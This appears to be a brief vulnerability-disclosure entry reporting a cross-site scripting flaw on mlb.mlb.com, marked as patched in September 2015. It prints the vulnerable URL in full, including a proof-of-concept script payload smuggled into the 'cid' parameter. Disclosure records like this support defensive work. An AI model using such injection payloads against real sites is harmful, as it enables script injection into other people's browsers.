mlb.mlb.com XSS vulnerability

Vulnerable URL: http://mlb.mlb.com/mlb/subscriptions/index.jsp?cid=qwe/a=0;alertString.fromCharCode88,83,83,80,79,83,69,68//=mlbMENU Details: Description| Value ---|--- Patched:| Yes, at 22.09.2015 Latest check for patch:| 22.09.2015 01:29 GMT Vulnerability type:| XSS Vulnerability status:|...